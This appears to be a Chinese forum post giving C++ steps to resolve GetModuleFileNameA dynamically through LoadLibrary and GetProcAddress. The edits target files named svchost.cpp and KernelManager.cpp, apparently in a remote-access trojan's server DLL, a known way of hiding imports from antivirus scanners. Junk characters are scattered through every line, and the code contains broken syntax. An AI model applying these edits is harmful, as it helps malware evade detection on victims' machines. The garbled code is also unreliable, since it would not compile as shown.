[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
! ^( U: d* \4 W+ P1 \svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h% s3 `1 @& H1 E6 s3 J6 x1 E. a, N
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( R% Y1 E0 U6 E, \' j# pDTDY.h：& k5 l) E, O% T7 r

7 Z3 Z3 i* @) e9 w6 B#if _MSC_VER>1000
7 j2 H, w7 s+ ^" r! \1 m4 ]#pragma once
5 k+ `* d9 [/ t- c#endif //_MSC_VER>10000 l  _8 ~; _% T1 P/ D
#include<windows.h>
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
" ~. K- f2 K3 u! x; cclass DTDY! H7 T$ `2 z2 X, [
{
+ P) K8 I, y& V+ x+ r. N0 Kpublic:/ C/ G7 K4 k3 P/ Y) N0 k
DTDY();
& ~1 a, O! k' h; ]+ |virtual ~DTDY();1 f# @- l/ c0 r1 G3 y
public:
% Y- t) ?8 G7 \) O5 B7 q: ystatic pGetModuleFileNameA MyGetModuleFileName;
. k1 f( i, E( Q% {static BOOL FunInitiallization();' V. @! R- V* N* P4 R- N  T# m
};
, ?+ D  p+ M1 p3 n#endif
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DTDY.cpp:
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#include "DTDY.h"& G6 W/ d- `% K2 i
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
- D/ ~/ n1 }. lDTDY:TDY()" u' |5 |. v2 y
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}
9 N. k& x- s1 U& dDTDY::~DTDY()
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}
3 }  o  n8 e2 q& H# Z# S; }BOOL DTDY::FunInitiallization()
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HMODULE hModule=LoadLibrary("kernel32.dll");; P3 f. B) ]3 ^8 Z' Q
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");7 O4 K) |; J& w& L# w" M
if(!MyGetModuleFileName=) return FALSE;- M, {+ z# n* ^- }* P5 P  @
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return TRUE;( t  Z7 q# L5 B
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svchost.cpp:: G. j; x2 Z# |
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#include "DTDY.h"3 \3 N- D/ Y0 ^  M

$ g. l3 g* F3 C1 o0 S8 ?3 i9 w9 g, D; KBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
+ E0 [- K& [  o$ h% N{
, _/ D. r. g% }3 u  g; P4 i6 Fswitch(ul_reason_for_call)$ e' B1 v: [+ P0 |! @% c
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case DLL_PROCESS_ATTACH:% h9 f; I4 H, B) o3 H& W2 W) C
if(!DTDY::FunInitiallization()) return FALSE;
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break;
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def! n) p# N0 u: W$ }! `
改写为1 @! d1 g  e4 W8 M, z* V, v4 ?2 w! ?7 _/ \
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));) F5 j0 C2 s: r- g* n0 L% W; K% f
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8 q5 m* t( T7 k1 N3 D! kKernelManager.cpp:8 U- b0 u! Y& m5 z# h/ Z
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#include "../DTDY.h"
8 t! Y, w: Q3 S( ]3 \1 `GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));; O; w7 U8 ?  ]  A) j0 }
改写为7 c9 L* K* @! O  N- u/ S
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));/ g& i6 R) S; e8 R' x9 j
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